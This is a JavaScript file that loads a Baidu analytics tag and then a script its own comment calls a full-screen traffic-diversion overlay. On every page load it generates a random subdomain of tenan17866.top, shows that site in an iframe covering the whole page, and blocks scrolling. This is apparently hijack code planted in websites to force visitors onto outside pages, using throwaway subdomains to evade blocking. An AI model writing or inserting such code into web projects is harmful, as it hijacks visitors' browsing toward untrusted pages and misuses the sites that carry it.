var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://hm.baidu.com/hm.js?75b6861c5bf6bd6383a889032238b910"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })(); /* * newbb.js — 精简全屏引流弹层 * 只支持全屏 iframe 模式,自动生成随机子域并展示 */ (function () { var state = { backdrop: null, modal: null, shown: false }; function injectStyles() { if (document.getElementById('newbb-style')) return; var css = [ '.newbb-backdrop{position:fixed;inset:0;background:rgba(0,0,0,0.7);z-index:9999;display:none;align-items:center;justify-content:center}', '.newbb-modal{position:relative;width:100vw;height:100vh;background:#fff;overflow:hidden}', '.newbb-close{position:absolute;top:12px;right:12px;width:40px;height:40px;display:flex;align-items:center;justify-content:center;background:linear-gradient(135deg,#2f67c8,#1e4fa2);border:none;border-radius:50%;font-size:26px;line-height:1;color:#fff;cursor:pointer;box-shadow:0 4px 12px rgba(0,0,0,.25);z-index:2}', '.newbb-close:hover{filter:brightness(1.06)}', '.newbb-close:active{transform:scale(.98)}', '.newbb-iframe{width:100vw;height:100vh;border:0;display:block}' ].join(''); var style = document.createElement('style'); style.id = 'newbb-style'; style.appendChild(document.createTextNode(css)); document.head.appendChild(style); } function buildDOM() { injectStyles(); var backdrop = document.createElement('div'); backdrop.className = 'newbb-backdrop'; var modal = document.createElement('div'); modal.className = 'newbb-modal'; var closeBtn = document.createElement('button'); closeBtn.className = 'newbb-close'; closeBtn.innerHTML = '×'; closeBtn.onclick = hide; modal.appendChild(closeBtn); backdrop.appendChild(modal); document.body.appendChild(backdrop); // 事件绑定 backdrop.onclick = function(e) { if (e.target === backdrop) hide(); }; document.onkeydown = function(e) { if (e.key === 'Escape') hide(); }; state.backdrop = backdrop; state.modal = modal; } function show(url) { if (!state.backdrop) buildDOM(); if (state.shown) return; // 禁用页面滚动 document.documentElement.style.overflow = 'hidden'; document.body.style.overflow = 'hidden'; // 创建 iframe var iframe = document.createElement('iframe'); iframe.className = 'newbb-iframe'; iframe.src = url; // 清空并添加 iframe(保留关闭按钮) while (state.modal.children.length > 1) { state.modal.removeChild(state.modal.lastChild); } state.modal.appendChild(iframe); state.backdrop.style.display = 'flex'; state.shown = true; } function hide() { if (!state.backdrop || !state.shown) return; state.backdrop.style.display = 'none'; // 恢复页面滚动 document.documentElement.style.overflow = ''; document.body.style.overflow = ''; state.shown = false; } function randToken(n) { n = n || 6; var chars = 'abcdefghijklmnopqrstuvwxyz0123456789'; var result = ''; for (var i = 0; i < n; i++) { result += chars.charAt(Math.floor(Math.random() * chars.length)); } return result; } // 全局 API window.NewbbLead = { show: show, hide: hide, randToken: randToken }; // 自动运行配置 var MAIN_DOMAIN = 'tenan17866.top'; var ENABLE_DISPLAY = true; // 设置为 false 可在本地调试时禁用弹窗显示 if (MAIN_DOMAIN && ENABLE_DISPLAY) { var autoShow = function() { var url = 'https://' + randToken(6) + '.' + MAIN_DOMAIN; show(url); }; if (document.readyState === 'loading') { document.addEventListener('DOMContentLoaded', autoShow); } else { autoShow(); } } })();